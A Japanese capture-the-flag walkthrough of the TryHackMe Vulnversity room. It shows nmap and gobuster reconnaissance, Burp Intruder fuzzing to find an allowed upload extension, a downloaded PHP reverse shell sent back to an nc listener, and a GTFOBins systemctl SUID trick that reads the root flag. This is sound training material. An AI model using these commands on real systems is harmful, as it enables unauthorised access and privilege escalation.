12th LAB

👩🏿‍💻TryHackmeのVulnversityを攻略する

TryHackMeのVulnversityの攻略と解説です。

スキャニング

まずは情報収集としてスキャニングをしていきます。

nmap を使っていきます。

$ nmap -sV $TIP

image block

いくつかのポートが空いてます。その中で注目するべきは 3333/tcp http でしょう。httpとあるので、なにかしらのWebサイトがありそうです。サイトがあるかブラウザから確認してみます。

予想通り、Webサイトがありました。

image block

Webサイトの調査

前のフェーズでWebサイトがあることがわかりました。どんなページがあるか調査するため、GoBusterを使います。

$ gobuster dir -u http://$TIP:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

image block

結果から /internal/ というページがあることがわかりました。このページを確認してみます。

image block

アップロード機能の調査

internalページはアップロードページのようです。まずはテストとしてtxtファイルをアップロードしてみます。

そうすると、 Extension not allowed のメッセージが表示されました。txt拡張子はアップロードが許可されていないようです。ということは、なにかしら許可されている拡張子がありそうです。

image block

アップロード可能な拡張子を探すため、BupSuiteを使っていきましょう。

BurpSuiteを立ち上げてアップロード時のリクエストをキャプチャします。

image block

キャプチャしたリクエストを Send Intruder で、Intruder画面に送ります。

image block

やりたいことは拡張子を変化させてリクエストを投げることです。そのため、拡張子を変数化させます。

image block

Payload画面で検証する拡張子を設定します。

image block

Start Attackボタンで検証を開始します。終わったら、responseを確認します。

image block

そうするとphtmlのresponseがSuccessであることがわかります。

image block

リバースシェルを使った侵入

PHTMLファイルがアップロード可能なことがわかったのでPHPリバースシェルやっていきます。

リバースシェルの解説はこちら

リバースシェルコードファイルの準備

リバースシェルのPHPコードファイルをダウンロードします。

アップロードできるように拡張子を phtml に修正します。

$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
$ mv php-reverse-shell.php php-reverse-shell.phtml

ファイルの中身を環境に合わせて変更します。

$ vi php-reverse-shell.php

$ipで設定しているIPアドレスを現在操作しているLinuxのIPアドレスへ変更していきます。

$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;

リバースシェルの実行

これでリバースシェルのコードファイルの編集は終わりです。それでは実際にリバースシェルを実行していきましょう。

ターミナルで新しいタブを開きます。そしてリバースシェルを待ち受けるポートを作成します。

$ nc -lvnp 1234

image block

リバースシェルのコードファイルをアップロードします。

アップロードしたリバースシェルのコードファイルを実行します。そのため、ブラウザで別タブを開きます。そして、下記URLにアクセスします。

http://10.10.70.41:3333/internal/uploads/php-reverse-shell.phtml

そして、待ち受けポートのターミナルに戻るとリバースシェルが成功しています。

image block

SUIDを使った権限昇格

どうやって権限昇格していくか探るため、所有者が root でSUIDが設定されているファイルを検索します。

$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

image block

GTFOBinsサイトで使えそうなファイルを探します。そうすると systemctl の攻撃コードが見つかりました。

https://gtfobins.github.io/#+suid

image block

少しコマンド群を書き換えて、下記を実行して権限昇格をしていきます。

このコマンド群の解説は ここ を見てください

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

image block

以上で攻略完了です。